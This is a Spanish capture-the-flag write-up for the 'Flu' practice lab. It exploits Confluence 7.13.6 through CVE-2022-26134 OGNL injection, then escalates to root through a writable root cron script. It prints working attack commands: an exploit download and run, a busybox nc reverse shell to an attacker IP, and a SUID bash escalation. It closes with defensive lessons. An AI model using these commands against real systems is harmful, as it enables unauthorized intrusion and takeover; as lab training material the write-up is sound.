the_open_door
café
ESEN

Flu

Proving Grounds PracticeFácilLinux192.168.107.41

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#confluence#cve-2022-26134#ognl-injection#unauthenticated-rce#pspy#cron#writable-script#suid#oscp
TL;DR. Flu sirve Atlassian Confluence 7.13.6 en el 8090, vulnerable a una inyección OGNL que da RCE sin autenticar (CVE-2022-26134). Con ella caemos como el usuario confluence. Con pspy vemos que una tarea cron de root ejecuta cada minuto /opt/log-backup.sh, un script que además nos pertenece: lo sobrescribimos para poner el bit SUID a bash (cron sobre script escribible) y bash -p nos da root.

Reconocimiento

Escaneo inicial

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Solo tres puertos:

ping -c 1 192.168.107.41
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.107.41
PORT     STATE SERVICE
22/tcp   open  ssh
8090/tcp open  http
8091/tcp open  jamlink
nmap -p22,8090,8091 -sCV 192.168.107.41 -oN targetedScan
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)
8090/tcp open  http    Apache Tomcat (Confluence)
|_http-title: Log In - Confluence
8091/tcp open  jamlink Aleph/0.4.6

El 8091 (Aleph 0.4.6) es un servicio auxiliar poco común; no lo llegamos a investigar a fondo porque el 8090 ofrecía un camino mucho más directo: aloja un Confluence sobre Tomcat, así que priorizamos ese y dejamos el 8091 anotado por si el Confluence no diera fruto.

Confluence - TCP 8090

La pantalla de login y el pie de página identifican la versión: Atlassian Confluence 7.13.6.

Pantalla de login de Atlassian Confluence en el puerto 8090

Esa versión es vulnerable a la CVE-2022-26134, una de las más explotadas de 2022.

Identificación de la versión 7.13.6 de Confluence, afectada por CVE-2022-26134

Explotación

CVE-2022-26134: inyección OGNL

Confluence evalúa expresiones OGNL (el lenguaje de expresiones de las webapps Java) que viajan en la propia ruta de la URL, con la forma /${...}/, y no en un parámetro. Al enrutar la petición, ActionChainResult.translateVariables() llama a findValue(), que evalúa esa expresión antes de comprobar la autenticación. Una expresión como /${...@java.lang.Runtime@getRuntime().exec("...")...}/ ejecuta el comando y devuelve su salida en una cabecera de la respuesta (X-Cmd-Response), todo sin credenciales (CVE-2022-26134). El exploit de jbaines-r7 (through_the_wire) monta esa petición y lanza una reverse shell:

wget https://raw.githubusercontent.com/jbaines-r7/through_the_wire/refs/heads/main/through_the_wire.py
python3 through_the_wire.py --rhost 192.168.107.41 --rport 8090 --lhost 192.168.45.211 --lport 8091 --protocol http:// --reverse-shell

through_the_wire monta el listener por su cuenta, envia el exploit y devuelve una shell no interactiva como confluence

jbaines-r7
CVE-2022-26134
"Spit my soul through the wire"

[+] Forking a netcat listener
[+] Using /usr/bin/nc
[+] Generating a reverse shell payload
[+] Sending expoit at http://192.168.107.41:8090/
bash: cannot set terminal process group (833): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.2$ whoami
confluence

El exploit levanta su propio nc y la shell entra, pero llega sin control de trabajos (no job control in this shell): no hay TTY, así que ni su, ni sudo, ni edición de línea. Para trabajar en condiciones se deja Penelope a la escucha en el mismo 8091:

penelope
(Penelope)> listeners add -p 8091

Y desde la shell del exploit se reconecta con busybox nc, que Penelope sí promociona a PTY:

busybox nc 192.168.45.211 8091 -e bash

La inyección OGNL devuelve una reverse shell como el usuario confluence

(Penelope)> listeners add -p 8091
[+] Got reverse shell from flu~192.168.107.41-Linux-x86_64  Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python3!
confluence@flu:/home/confluence$ whoami
confluence

Penelope promociona la conexión a PTY: la shell corre como confluence, la cuenta de servicio de Confluence.

Local

cat local.txt && whoami && ip a && hostname

local.txt leída como confluence en flu

88ba6c239b407767aeef11db58d6f5ce
confluence

Escalada de privilegios

Cron de root sobre un script escribible

No vemos nada explotable en sudo -l, así que buscamos procesos que se ejecuten por debajo. pspy (repo) monitoriza la tabla de procesos sin privilegios y revela una tarea cron de root que se dispara cada minuto:

wget http://192.168.45.211/pspy64
chmod +x pspy64
./pspy64
CMD: UID=0     PID=27681  | /bin/bash /opt/log-backup.sh

El detalle clave está en los permisos del script: /opt/log-backup.sh lo ejecuta root, pero pertenece al usuario confluence, es decir, podemos reescribirlo (cron sobre script escribible). Lo sustituimos por una línea que ponga el bit SUID a bash; en cuanto salte el cron, bash quedará como SUID root y bash -p (que conserva el UID efectivo) nos da una shell de root:

ls -l /opt/log-backup.sh
echo 'chmod u+s /bin/bash' > /opt/log-backup.sh
ls -l /bin/bash
bash -p

El cron aplica el SUID a bash; bash -p abre una shell de root

bash-5.2$ ls -l /opt/log-backup.sh
-rwxr-xr-x 1 confluence confluence 33 Jan 24 20:20 /opt/log-backup.sh
bash-5.2$ echo 'chmod u+s /bin/bash' > /opt/log-backup.sh
bash-5.2$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1437832 Jan  7  2023 /bin/bash
bash-5.2$ bash -p
bash-5.2# whoami
root

El script pertenece a confluence (podemos reescribirlo) pero lo lanza root: tras el cron, /bin/bash queda -rwsr-xr-x (SUID root) y bash -p abre una shell de root.

Root

cat /root/proof.txt && whoami && ip a && hostname

proof.txt leída como root en flu

9aa7bc48958434a6a25465e917d52f1f
root

Cadena de ataque

HTTP (8090)  --  Atlassian Confluence 7.13.6
        │  CVE-2022-26134: inyección OGNL -> RCE sin autenticar
        ▼
confluence  (local.txt)
        │  pspy: cron root -> /opt/log-backup.sh (escribible por confluence)
        │  sobrescribir -> chmod u+s /bin/bash -> bash -p
        ▼
root  (proof.txt)

Lecciones aprendidas

  • Confluence sin parchear es RCE sin autenticar. La CVE-2022-26134 evalúa OGNL en la URL; una versión visible en el login (7.13.6) fue suficiente para entrar. Los productos Atlassian expuestos deben estar al día sí o sí.
  • pspy destapa lo que sudo -l calla. La escalada no venía de sudo ni de un SUID inicial, sino de un cron de root; monitorizar procesos sin privilegios es el reflejo cuando la enumeración estática no da nada.
  • Un cron de root no debe tocar ficheros de otros usuarios. El script corría como root pero pertenecía a confluence; reescribirlo convirtió el privilegio de root en nuestro. Los scripts que ejecuta root han de ser propiedad de root y no escribibles por nadie más.
Cheatsheet de comandos 8 comandos

Repaso rápido